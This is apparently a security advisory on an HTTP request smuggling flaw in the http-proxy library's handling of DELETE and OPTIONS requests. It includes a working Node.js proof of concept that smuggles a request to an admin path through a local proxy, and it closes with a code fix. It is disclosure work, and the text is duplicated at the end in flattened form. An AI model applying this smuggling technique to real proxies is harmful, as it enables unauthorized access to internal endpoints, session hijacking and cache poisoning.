Summary
The deleteLength pass creates a CL.TE request smuggling vulnerability. When proxying DELETE/OPTIONS requests with Transfer-Encoding: chunked but no Content-Length, the library sets Content-Length: 0 and deletes Transfer-Encoding. The body is still piped to the backend, creating a desynchronization.
CVE-2026-29057 was assigned to Next.js for this exact issue (Next.js vendored http-proxy). The upstream http-proxy library has NOT been patched.
Affected
- Package:
http-proxy
- Version: 1.18.1 (latest, released 2020-05-17)
- All versions since v0.9.0
Root Cause
lib/http-proxy/passes/web-incoming.js:
deleteLength: function deleteLength(req, res, options) {
if((req.method === 'DELETE' || req.method === 'OPTIONS')
&& !req.headers['content-length']) {
req.headers['content-length'] = '0';
delete req.headers['transfer-encoding'];
}
},
Sets Content-Length: 0 and deletes Transfer-Encoding without checking if Transfer-Encoding is present. Body is still piped via req.pipe(proxyReq).
Reproduction
const http = require('http');
const httpProxy = require('http-proxy');
const net = require('net');
const backend = http.createServer((req, res) => {
let body = '';
req.on('data', (chunk) => body += chunk.toString());
req.on('end', () => {
console.log(`[BACKEND] ${req.method} ${req.url}`);
res.end('OK');
});
});
backend.listen(9001, () => {
const httpAgent = new http.Agent({ keepAlive: true });
const proxy = httpProxy.createProxyServer({
target: 'http://127.0.0.1:9001',
agent: httpAgent // keep-alive required for smuggling
});
const server = http.createServer((req, res) => proxy.web(req, res));
server.listen(9000, () => {
const client = net.createConnection({ host: '127.0.0.1', port: 9000 });
const smuggled = 'GET /admin/secret HTTP/1.1\r\nHost: localhost\r\nContent-Length: 0\r\n\r\n';
client.write(
'DELETE /api HTTP/1.1\r\n' +
'Host: localhost\r\n' +
'Transfer-Encoding: chunked\r\n' +
'\r\n' +
smuggled.length.toString(16) + '\r\n' +
smuggled +
'\r\n0\r\n\r\n'
);
});
});
Output:
[BACKEND] DELETE /api
[BACKEND] GET /admin/secret ← smuggled request parsed
Preconditions
- Proxy must use a keep-alive agent (default config uses
Connection: close which prevents smuggling)
- Backend must reuse connections
- Attacker can send requests to the proxy
Impact
- Request smuggling: arbitrary second request injected to backend
- Access internal endpoints bypassing proxy routing
- Session hijacking via shared connection context
- Cache poisoning
Suggested Fix
Apply the same fix Next.js applied:
deleteLength: function deleteLength(req, res, options) {
if((req.method === 'DELETE' || req.method === 'OPTIONS')
&& !req.headers['content-length']
&& !req.headers['transfer-encoding']) {
req.headers['content-length'] = '0';
// Do NOT delete transfer-encoding
}
},
References
- CVE-2026-29057 (assigned to Next.js for this issue)
- Next.js fix: only add
Content-Length: 0 when both headers absent
Reported by: @Black1hp
Summary
The
deleteLengthpass creates a CL.TE request smuggling vulnerability. When proxyingDELETE/OPTIONSrequests withTransfer-Encoding: chunkedbut noContent-Length, the library setsContent-Length: 0and deletesTransfer-Encoding. The body is still piped to the backend, creating a desynchronization.CVE-2026-29057 was assigned to Next.js for this exact issue (Next.js vendored http-proxy). The upstream http-proxy library has NOT been patched.
Affected
http-proxyRoot Cause
lib/http-proxy/passes/web-incoming.js:Sets
Content-Length: 0and deletesTransfer-Encodingwithout checking ifTransfer-Encodingis present. Body is still piped viareq.pipe(proxyReq).Reproduction
Output:
Preconditions
Connection: closewhich prevents smuggling)Impact
Suggested Fix
Apply the same fix Next.js applied:
References
Content-Length: 0when both headers absentReported by: @Black1hp